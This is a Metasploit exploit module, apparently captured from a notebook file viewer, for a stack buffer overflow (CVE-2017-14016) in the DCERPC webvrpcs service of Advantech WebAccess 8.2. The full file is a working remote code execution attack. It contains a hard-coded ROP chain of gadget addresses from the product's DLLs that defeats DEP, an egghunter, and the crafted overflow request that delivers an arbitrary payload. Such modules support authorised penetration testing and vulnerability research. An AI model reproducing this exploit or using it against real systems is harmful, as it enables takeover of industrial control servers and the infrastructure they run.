CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7

8
  Rank = GoodRanking
9

10
  include Msf::Exploit::Remote::DCERPC
11
  include Msf::Exploit::Egghunter
12

13
  def initialize(info = {})
14
    super(update_info(info,
15
      'Name'           => 'Advantech WebAccess Webvrpcs Service Opcode 80061 Stack Buffer Overflow',
16
      'Description'    => %q{
17
          This module exploits a stack buffer overflow in Advantech WebAccess 8.2.
18
          By sending a specially crafted DCERPC request, an attacker could overflow
19
          the buffer and execute arbitrary code.
20
      },
21
      'Author'         => [ 'mr_me <mr_me[at]offensive-security[dot]com>' ],
22
      'License'        => MSF_LICENSE,
23
      'References'     =>
24
        [
25
          [ 'ZDI', '17-938' ],
26
          [ 'CVE', '2017-14016' ],
27
          [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-306-02' ]
28
        ],
29
      'Privileged'     => true,
30
      'DefaultOptions' =>
31
        {
32
          'EXITFUNC' => 'thread',
33
        },
34
      'Payload'        =>
35
        {
36
          'Space'    => 2048,
37
          'BadChars' => "\x00",
38
        },
39
      'Platform' => 'win',
40
      'Targets'  =>
41
        [
42
          [ 'Windows 7 x86 - Advantech WebAccess 8.2-2017.03.31',
43
            {
44
              'Ret'   => 0x07036cdc,  # pop ebx; add esp, 994; retn 0x14
45
              'Slide' => 0x07048f5b,  # retn
46
              'Jmp'   => 0x0706067e   # pop ecx; pop ecx; ret 0x04
47
            }
48
          ],
49
        ],
50
      'DisclosureDate' => '2017-11-02',
51
      'DefaultTarget'  => 0))
52
    register_options([ Opt::RPORT(4592)])
53
  end
54

55
  def create_rop_chain()
56

57
    # this target opts into dep
58
    rop_gadgets =
59
    [
60
      0x020214c6,  # POP EAX # RETN [BwKrlAPI.dll]
61
      0x0203a134,  # ptr to &VirtualAlloc() [IAT BwKrlAPI.dll]
62
      0x02032fb4,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [BwKrlAPI.dll]
63
      0x070738ee,  # XCHG EAX,ESI # RETN [BwPAlarm.dll]
64
      0x0201a646,  # POP EBP # RETN [BwKrlAPI.dll]
65
      0x07024822,  # & push esp # ret  [BwPAlarm.dll]
66
      0x070442dd,  # POP EAX # RETN [BwPAlarm.dll]
67
      0xffffffff,  # Value to negate, will become 0x00000001
68
      0x070467d2,  # NEG EAX # RETN [BwPAlarm.dll]
69
      0x0704de61,  # PUSH EAX # ADD ESP,0C # POP EBX # RETN [BwPAlarm.dll]
70
      rand_text_alpha(4).unpack('V'),
71
      rand_text_alpha(4).unpack('V'),
72
      rand_text_alpha(4).unpack('V'),
73
      0x02030af7,  # POP EAX # RETN [BwKrlAPI.dll]
74
      0xfbdbcbd5,  # put delta into eax (-> put 0x00001000 into edx)
75
      0x02029003,  # ADD EAX,424442B # RETN [BwKrlAPI.dll]
76
      0x0201234a,  # XCHG EAX,EDX # RETN [BwKrlAPI.dll]
77
      0x07078df5,  # POP EAX # RETN [BwPAlarm.dll]
78
      0xffffffc0,  # Value to negate, will become 0x00000040
79
      0x070467d2,  # NEG EAX # RETN [BwPAlarm.dll]
80
      0x07011e60,  # PUSH EAX # ADD AL,5B # POP ECX # RETN 0x08 [BwPAlarm.dll]
81
      0x0706fe66,  # POP EDI # RETN [BwPAlarm.dll]
82
      rand_text_alpha(4).unpack('V'),
83
      rand_text_alpha(4).unpack('V'),
84
      0x0703d825,  # RETN (ROP NOP) [BwPAlarm.dll]
85
      0x0202ca65,  # POP EAX # RETN [BwKrlAPI.dll]
86
      0x90909090,  # nop
87
      0x07048f5a,  # PUSHAD # RETN [BwPAlarm.dll]
88
    ].flatten.pack("V*")
89
    return rop_gadgets
90
  end
91

92
  def exploit
93
    connect
94
    handle = dcerpc_handle('5d2b62aa-ee0a-4a95-91ae-b064fdb471fc', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
95
    print_status("Binding to #{handle} ...")
96
    dcerpc_bind(handle)
97
    print_status("Bound to #{handle} ...")
98

99
    # send the request to get the handle
100
    resp   = dcerpc.call(0x4, [0x02000000].pack('V'))
101
    handle = resp.last(4).unpack('V').first
102
    print_good("Got a handle: 0x%08x" % handle)
103
    egg_options = { :eggtag   => "0day" }
104
    egghunter, egg = generate_egghunter(payload.encoded, payload_badchars, egg_options)
105

106
    # apparently this is called a ret chain
107
    overflow  = [target['Slide']].pack('V')
108
    overflow << [target['Slide']].pack('V')
109
    overflow << [target['Slide']].pack('V')
110
    overflow << [target['Slide']].pack('V')
111
    overflow << [target['Slide']].pack('V')
112
    overflow << [target['Slide']].pack('V')
113
    overflow << [target['Jmp']].pack('V')
114
    overflow << [target['Ret']].pack('V')
115
    overflow << [target['Slide']].pack('V')
116
    overflow << [target['Slide']].pack('V')
117
    overflow << [target['Slide']].pack('V')
118
    overflow << [target['Slide']].pack('V')
119
    overflow << [target['Slide']].pack('V')
120
    overflow << [target['Slide']].pack('V')
121
    overflow << create_rop_chain()
122
    overflow << egghunter
123
    overflow << egg
124
    overflow << rand_text_alpha(0x1000-overflow.length)
125

126
    # sorry but I dont like msf's ndr class.
127
    sploit  = [handle].pack('V')
128
    sploit << [0x000138bd].pack('V')  # opcode we are attacking
129
    sploit << [0x00001000].pack('V')  # size to copy
130
    sploit << [0x00001000].pack('V')  # size of string
131
    sploit << overflow
132
    print_status("Trying target #{target.name}...")
133
    begin
134
        dcerpc_call(0x1, sploit)
135
        rescue Rex::Proto::DCERPC::Exceptions::NoResponse
136
    ensure
137
        disconnect
138
    end
139
    handler
140
  end
141
end
142

143